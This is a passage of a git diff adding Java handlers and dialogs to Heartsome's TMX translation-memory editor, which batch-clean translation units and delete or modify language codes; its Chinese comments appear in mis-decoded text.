b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/DeleteBatchJobsHandler.java @@ -0,0 +1,127 @@ +/** + * DeleteEmptySegment.java + * + * Version information : + * + * Date:2013-8-5 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.task.handler; + +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.ui.resource.Messages; +import net.heartsome.cat.te.ui.task.ui.BatchJobsDialog; +import net.heartsome.cat.te.ui.task.ui.BatchSelectionsBean; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class DeleteBatchJobsHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + BatchJobsDialog jobDialog = new BatchJobsDialog(Display.getDefault().getActiveShell()); + jobDialog.open(); + if (jobDialog.getReturnCode() == Dialog.OK) { + final BatchSelectionsBean jobs = jobDialog.getJobs(); + if (null == jobs || jobs.getDeleteTypeCount() == 0) { + return null; + } + boolean confirm = MessageDialog.openConfirm(HandlerUtil.getActiveShell(event), + Messages.getString("te.ui.deleteBatchJobsHandler.warn.msg"), + Messages.getString("te.ui.deleteBatchJobsHandler.warn.desc")); + final TmxEditor editor = TmxEditorViewer.getInstance().getTmxEditor(); + editor.commit(); + if (confirm) { + ProgressMonitorDialog dialog = new ProgressMonitorDialog(HandlerUtil.getActiveShell(event)); + try { + dialog.run(true, false, new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, + InterruptedException { + // editor.cleartInnerTag(monitor); + monitor.beginTask(Messages.getString("te.ui.deleteBatchJobsHandler.begin.task.name"), + jobs.getDeleteTypeCount() * 100); + SubProgressMonitor deleteEmptyJob = new SubProgressMonitor(monitor, 100); + if (jobs.isDeleteEmpty()) {// 删除空文本段 + editor.clearEmptyTU(deleteEmptyJob,jobs.isIgnoreTag()); + } else { + deleteEmptyJob.done(); + } + + SubProgressMonitor trimSegmentJob = new SubProgressMonitor(monitor, 100); + if (jobs.isTrimSegment()) {// 删除段末段首空格 + editor.clearEndsSpaces(trimSegmentJob); + } else { + trimSegmentJob.done(); + } + + SubProgressMonitor deleteDuplicateJob = new SubProgressMonitor(monitor, 100); + if (jobs.isDeleteDupliacate()) {// 删除é‡å¤æ–‡æœ¬ + editor.cleartDuplicatedTU(deleteDuplicateJob, jobs.isIgnoreTag(),jobs.isIgnoreCase()); + } else { + deleteDuplicateJob.done(); + } + + SubProgressMonitor deleteSameSrcDiffTgtJob = new SubProgressMonitor(monitor, 100); + if (jobs.isDeleteSameSrcDiffTgt()) {// 删除原文相åŒï¼Œè¯‘æ–‡ä¸åŒçš„文本段 + editor.cleartDuplicatedSrcDiffTgtTU(deleteSameSrcDiffTgtJob, jobs.isIgnoreTag(),jobs.isIgnoreCase()); + } else { + deleteSameSrcDiffTgtJob.done(); + } + + IOperationHistory histor = OperationHistoryFactory.getOperationHistory(); + histor.dispose(PlatformUI.getWorkbench().getOperationSupport().getUndoContext(), true, + true, true); + + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + editor.loadDataAndReFreshUI(null, true); + } + }); + } + + }); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + } + return null; + + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/DeleteLangHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/DeleteLangHandler.java new file mode 100644 index 0000000..4ee7315 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/DeleteLangHandler.java @@ -0,0 +1,110 @@ +/** + * DeleteLangHandler.java + * + * Version information : + * + * Date:2013-8-1 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.task.handler; + +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.ui.resource.Messages; +import net.heartsome.cat.te.ui.task.ui.DeleteLangCodeDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +public class DeleteLangHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + Shell shell = HandlerUtil.getActiveShell(event); + final TmxEditor editor = TmxEditorViewer.getInstance().getTmxEditor(); + TmxPropertiesBean propbean = editor.getTmxProperties(true); + if (!(propbean.getTargetLang().size() > 1)) { + MessageDialog.openError(shell, Messages.getString("ui.all.dialog.error"), + Messages.getString("te.ui.deleteLangHandler.error.desc")); + return null; + } + + final List deleteLangCode = new LinkedList(); + DeleteLangCodeDialog dialog = new DeleteLangCodeDialog(shell, propbean, deleteLangCode); + if (Dialog.OK == dialog.open()) { + if (deleteLangCode.size() < 1) { + return null; + } + String checkMsg = MessageFormat.format(Messages.getString("te.ui.deleteLangHanlder.checkMsg"), + deleteLangCode.toArray()); + if (!OpenMessageUtils.openConfirmMessage(checkMsg)) { + return null; + } + ProgressMonitorDialog progressDialog = new ProgressMonitorDialog(shell); + try { + progressDialog.run(true, false, new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + final TmxLargeFileDataAccess access = (TmxLargeFileDataAccess) editor.getTmxDataAccess(); + monitor.beginTask(Messages.getString("te.ui.deleteLangHandler.executeOP"), 3); + access.batchdeleteTuvBylang(deleteLangCode, new SubProgressMonitor(monitor, 2)); + + final IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 1); + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + access.loadDisplayTuIdentifierByFilter(subMonitor, null, access.getCurrSrcLang(), + access.getCurrTgtLang(), "", ""); + } + }); + monitor.done(); + } + }); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + IOperationHistory histor = OperationHistoryFactory.getOperationHistory(); + histor.dispose(PlatformUI.getWorkbench().getOperationSupport().getUndoContext(), true, true, true); + } + editor.reCreateUI(); + editor.resetFileter(); + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/ModifyLangCodeHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/ModifyLangCodeHandler.java new file mode 100644 index 0000000..c536c20 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/ModifyLangCodeHandler.java @@ -0,0 +1,88 @@ +/** + * ModifyLangCodeHandler.java + * + * Version information : + * + * Date:2013-7-31 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.task.handler; + +import java.lang.reflect.InvocationTargetException; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.ui.resource.Messages; +import net.heartsome.cat.te.ui.task.ui.ModifyLangCodeDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.IHandler; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +public class ModifyLangCodeHandler extends AbstractHandler implements IHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + + Shell shell = HandlerUtil.getActiveShell(event); + final TmxEditorViewer viewer = TmxEditorViewer.getInstance(); + final TmxEditor editor = viewer.getTmxEditor(); + TmxPropertiesBean propbean= editor.getTmxProperties(true); + //æ”¶é›†ä¿¡æ¯ + final Map resultMap = new HashMap(); + ModifyLangCodeDialog dialog = new ModifyLangCodeDialog(shell, propbean, resultMap); + if (Dialog.OK == dialog.open()) { + if(!OpenMessageUtils.openConfirmMessage(Messages.getString("dialog.ModifyLangCodeDialog.checkMsg3"))){ + return null; + } + final TmxLargeFileDataAccess access = (TmxLargeFileDataAccess) editor.getTmxDataAccess(); + ProgressMonitorDialog progressDialog = new ProgressMonitorDialog(shell); + try { + progressDialog.run(true, false, new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + access.batchModifyLangcode(resultMap, monitor); + } + }); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + editor.reCreateUI(); + IOperationHistory histor = OperationHistoryFactory.getOperationHistory(); + histor.dispose(PlatformUI.getWorkbench().getOperationSupport().getUndoContext(), true, true, true); + access.setDirty(true); + viewer.setFocus(); + } + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/BatchJobsDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/BatchJobsDialog.java new file mode 100644 index 0000000..1e37d73 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/BatchJobsDialog.java @@ -0,0 +1,249 @@ +/** + * BatchJobsDialog.java + * + * Version information : + * + * Date:2013-8-6 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.task.ui; + +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.cat.te.tmxeditor.Activator; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class BatchJobsDialog extends HsAbstractHelpDilog { + + private Button deleteEmptyBtn; + private Button deleteDupliteBtn; + private Button deleteSameSrcDiffTgtBtn; + private Button trimBtn; + private Button ignoreTagBtn; + private Button ignoreCaseBtn; + + private BatchSelectionsBean jobs; + + /** + * Create the dialog. + * @param parentShell + */ + public BatchJobsDialog(Shell parentShell) { + super(parentShell); + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.window.Window#configureShell(org.eclipse.swt.widgets.Shell) + */ + @Override + protected void configureShell(Shell newShell) { + // TODO Auto-generated method stub + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.BatchJobsDialog.title")); + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + GridLayout gl_container = new GridLayout(1, false); + gl_container.verticalSpacing = 6; + container.setLayout(gl_container); + + Group jobsGroup = new Group(container, SWT.NONE); + jobsGroup.setLayoutData(GridDataFactory.createFrom(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)) + .hint(450, SWT.DEFAULT).create()); + GridLayout gl_jobsGroup = new GridLayout(1, false); + gl_jobsGroup.verticalSpacing = 7; + jobsGroup.setLayout(gl_jobsGroup); + jobsGroup.setText(Messages.getString("dialog.BatchJobsDialog.bacthJobSelection")); + + deleteEmptyBtn = new Button(jobsGroup, SWT.CHECK); + deleteEmptyBtn.setText(Messages.getString("dialog.BatchJobsDialog.deleteEmpty")); + deleteEmptyBtn.addSelectionListener(new SelectionAdapter() { + /** + * (non-Javadoc) + * @see org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse.swt.events.SelectionEvent) + */ + @Override + public void widgetSelected(SelectionEvent e) { + + setIgoreTagState(); + + } + }); + + + deleteDupliteBtn = new Button(jobsGroup, SWT.CHECK); + deleteDupliteBtn.setText(Messages.getString("dialog.BatchJobsDialog.deleteDuplicate")); + + deleteDupliteBtn.addSelectionListener(new SelectionAdapter() { + /** + * (non-Javadoc) + * @see org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse.swt.events.SelectionEvent) + */ + @Override + public void widgetSelected(SelectionEvent e) { + + setIgoreTagState(); + + } + }); + + deleteSameSrcDiffTgtBtn = new Button(jobsGroup, SWT.CHECK); + deleteSameSrcDiffTgtBtn.setText(Messages.getString("dialog.BatchJobsDialog.deleteSameSrcDiffTgt")); + deleteSameSrcDiffTgtBtn.addSelectionListener(new SelectionAdapter() { + /** + * (non-Javadoc) + * @see org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse.swt.events.SelectionEvent) + */ + @Override + public void widgetSelected(SelectionEvent e) { + setIgoreTagState(); + } + }); + + trimBtn = new Button(jobsGroup, SWT.CHECK); + trimBtn.setText(Messages.getString("dialog.BatchJobsDialog.trimSegment")); + + Group ignoreGroup = new Group(container, SWT.NONE); + ignoreGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + ignoreGroup.setText(Messages.getString("dialog.BatchJobsDialog.ingoreSelection")); + ignoreGroup.setLayout(new GridLayout(2, false)); + ignoreTagBtn = new Button(ignoreGroup, SWT.CHECK); + ignoreTagBtn.setText(Messages.getString("dialog.BatchJobsDialog.ingoreTag")); + + ignoreCaseBtn = new Button(ignoreGroup, SWT.CHECK); + ignoreCaseBtn.setText(Messages.getString("dialog.BatchJobsDialog.ignoreCase")); + + Label separator = new Label(container, SWT.HORIZONTAL | SWT.SEPARATOR); + separator.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + setIgoreTagState(); + loadDialogSettings(); + return container; + } + + private void setIgoreTagState() { + + if (deleteDupliteBtn.getSelection() || deleteSameSrcDiffTgtBtn.getSelection()) { + ignoreCaseBtn.setEnabled(true); + } else { + ignoreCaseBtn.setEnabled(false); + } + + if (deleteDupliteBtn.getSelection() || deleteSameSrcDiffTgtBtn.getSelection()//
    + || deleteEmptyBtn.getSelection()) { + ignoreTagBtn.setEnabled(true); + } else { + ignoreTagBtn.setEnabled(false); + } + } + + private BatchSelectionsBean setJobs() { + BatchSelectionsBean bean = new BatchSelectionsBean(); + bean.setDeleteDupliacate(deleteDupliteBtn.getSelection()); + bean.setDeleteEmpty(deleteEmptyBtn.getSelection()); + bean.setDeleteSameSrcDiffTgt(deleteSameSrcDiffTgtBtn.getSelection()); + bean.setIgnoreTag(ignoreTagBtn.getSelection() && ignoreTagBtn.getEnabled()); + bean.setIgnoreCase(ignoreCaseBtn.getSelection() && ignoreCaseBtn.getEnabled()); + bean.setTrimSegment(trimBtn.getSelection()); + return bean; + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.dialogs.Dialog#okPressed() + */ + @Override + protected void okPressed() { + // TODO Auto-generated method stub + jobs = setJobs(); + super.okPressed(); + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.dialogs.TrayDialog#close() + */ + @Override + public boolean close() { + // TODO Auto-generated method stub + if (getShell() != null && !getShell().isDisposed()) { + writeDialogSettings(); + } + return super.close(); + } + + public BatchSelectionsBean getJobs() { + return jobs; + } + + private void writeDialogSettings() { + IDialogSettings dialogSettings = getDialogSettings(); + dialogSettings.put("EMPTY", deleteEmptyBtn.getSelection()); + dialogSettings.put("TRIMENDS", trimBtn.getSelection()); + dialogSettings.put("DUPLICATE", deleteDupliteBtn.getSelection()); + dialogSettings.put("DIFFRENT", deleteSameSrcDiffTgtBtn.getSelection()); + dialogSettings.put("IGNORE_TAG_ENALBE", ignoreTagBtn.getEnabled()); + dialogSettings.put("IGNORE_TAG_SELECT", ignoreTagBtn.getSelection()); + dialogSettings.put("IGNORE_CASE_ENALBE", ignoreCaseBtn.getEnabled()); + dialogSettings.put("IGNORE_CASE_SELECT", ignoreCaseBtn.getSelection()); + } + + private void loadDialogSettings() { + IDialogSettings dialogSettings = getDialogSettings(); + deleteEmptyBtn.setSelection(dialogSettings.getBoolean("EMPTY")); + trimBtn.setSelection(dialogSettings.getBoolean("TRIMENDS")); + deleteDupliteBtn.setSelection(dialogSettings.getBoolean("DUPLICATE")); + deleteSameSrcDiffTgtBtn.setSelection(dialogSettings.getBoolean("DIFFRENT")); + ignoreTagBtn.setEnabled(dialogSettings.getBoolean("IGNORE_TAG_ENALBE")); + ignoreTagBtn.setSelection(dialogSettings.getBoolean("IGNORE_TAG_SELECT")); + ignoreCaseBtn.setEnabled(dialogSettings.getBoolean("IGNORE_CASE_ENALBE")); + ignoreCaseBtn.setSelection(dialogSettings.getBoolean("IGNORE_CASE_SELECT")); + } + + private IDialogSettings getDialogSettings() { + IDialogSettings settings = Activator.getDefault().getDialogSettings(); + IDialogSettings fDialogSettings = settings.getSection(getClass().getName()); + if (fDialogSettings == null) + fDialogSettings = settings.addNewSection(getClass().getName()); + return fDialogSettings; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + // TODO Auto-generated method stub + return "/net.heartsome.cat.te.ui.help/html/{0}/ch03.html#clean_tmx_id"; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/BatchSelectionsBean.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/BatchSelectionsBean.java new file mode 100644 index 0000000..791487e --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/BatchSelectionsBean.java @@ -0,0 +1,126 @@ +/** + * BatchSelectionsBean.java + * + * Version information : + * + * Date:2013-8-6 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.task.ui; + +/** + * 批é‡ä»»åŠ¡çš„选择 + * @author yule + * @version + * @since JDK1.6 + */ +public class BatchSelectionsBean { + + /** + * 是å¦å¿½ç•¥æ ‡è®° + */ + private boolean isIgnoreTag; + + /** + * 是å¦åˆ é™¤ç©ºè¡Œ + */ + private boolean isDeleteEmpty; + + /** + * 是å¦ä¸Šæ¬¡é‡å¤æ–‡æœ¬æ®µ + */ + private boolean isDeleteDupliacate; + + /** + * 是å¦åˆ é™¤ç›¸åŒåŽŸæ–‡ä¸åŒè¯‘æ–‡ + */ + private boolean isDeleteSameSrcDiffTgt; + + /** + * 是å¦åˆ é™¤æ®µé¦–,段末空格 + */ + private boolean isTrimSegment; + /** + * 是å¦å¿½ç•¥å¤§å°å†™ + */ + private boolean isIgnoreCase; + + public boolean isIgnoreCase() { + return this.isIgnoreCase; + } + + public void setIgnoreCase(boolean isIgnoreCase) { + this.isIgnoreCase = isIgnoreCase; + } + + /** @return the isIgnoreTag */ + public boolean isIgnoreTag() { + return isIgnoreTag; + } + + /** @param isIgnoreTag the isIgnoreTag to set */ + public void setIgnoreTag(boolean isIgnoreTag) { + this.isIgnoreTag = isIgnoreTag; + } + + /** @return the isDeleteEmpty */ + public boolean isDeleteEmpty() { + return isDeleteEmpty; + } + + /** @param isDeleteEmpty the isDeleteEmpty to set */ + public void setDeleteEmpty(boolean isDeleteEmpty) { + this.isDeleteEmpty = isDeleteEmpty; + } + + /** @return the isDeleteDupliacate */ + public boolean isDeleteDupliacate() { + return isDeleteDupliacate; + } + + /** @param isDeleteDupliacate the isDeleteDupliacate to set */ + public void setDeleteDupliacate(boolean isDeleteDupliacate) { + this.isDeleteDupliacate = isDeleteDupliacate; + } + + /** @return the isDeleteSameSrcDiffTgt */ + public boolean isDeleteSameSrcDiffTgt() { + return isDeleteSameSrcDiffTgt; + } + + /** @param isDeleteSameSrcDiffTgt the isDeleteSameSrcDiffTgt to set */ + public void setDeleteSameSrcDiffTgt(boolean isDeleteSameSrcDiffTgt) { + this.isDeleteSameSrcDiffTgt = isDeleteSameSrcDiffTgt; + } + + /** @return the isTrimSegment */ + public boolean isTrimSegment() { + return isTrimSegment; + } + + /** @param isTrimSegment the isTrimSegment to set */ + public void setTrimSegment(boolean isTrimSegment) { + this.isTrimSegment = isTrimSegment; + } + + public int getDeleteTypeCount(){ + int count = 0; + if(isDeleteEmpty()){ + count++; + } + if(isTrimSegment()){ + count++; + } + if(isDeleteSameSrcDiffTgt()){ + count++; + } + if(isDeleteDupliacate()){ + count++; + } + return count; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/DeleteLangCodeDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/DeleteLangCodeDialog.java new file mode 100644 index 0000000..ea8a22c --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/ui/DeleteLangCodeDialog.java @@ -0,0 +1,173 @@ +package net.heartsome.cat.te.ui.task.ui; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class DeleteLangCodeDialog extends HsAbstractHelpDilog { + + public static Logger LOGGER = LoggerFactory.getLogger(DeleteLangCodeDialog.class.getName()); + + private String srclang; + /** 收集需è¦åˆ é™¤çš„语言对. */ + private List deleteLangCode; + /** 目标语言集åˆ. */ + private List tgtlangList; + /** 语言库. */ + private List langstore; + /** 目标语言在语言库中的index. */ + private Map langIndexMap = new HashMap(); + + /** + * 删除语言代ç å¯¹è¯æ¡† + * @param parentShell + * Shell + * @param propbean + * TmxPropertiesBean TMX 文件属性bean + * @param deleteLangCode + * 收集需è¦åˆ é™¤çš„è¯­è¨€ä»£ç  + */ + public DeleteLangCodeDialog(Shell parentShell, TmxPropertiesBean propbean, List deleteLangCode) { + super(parentShell); + this.deleteLangCode = deleteLangCode; + srclang = propbean.getSrcLang(); + + // 语言库 + langstore = new ArrayList(LocaleService.getDefaultLanguage().values()); + // 计算语言代ç åœ¨è¯­è¨€åº“中的index,用于åˆå§‹åŒ–选择框 + tgtlangList = new 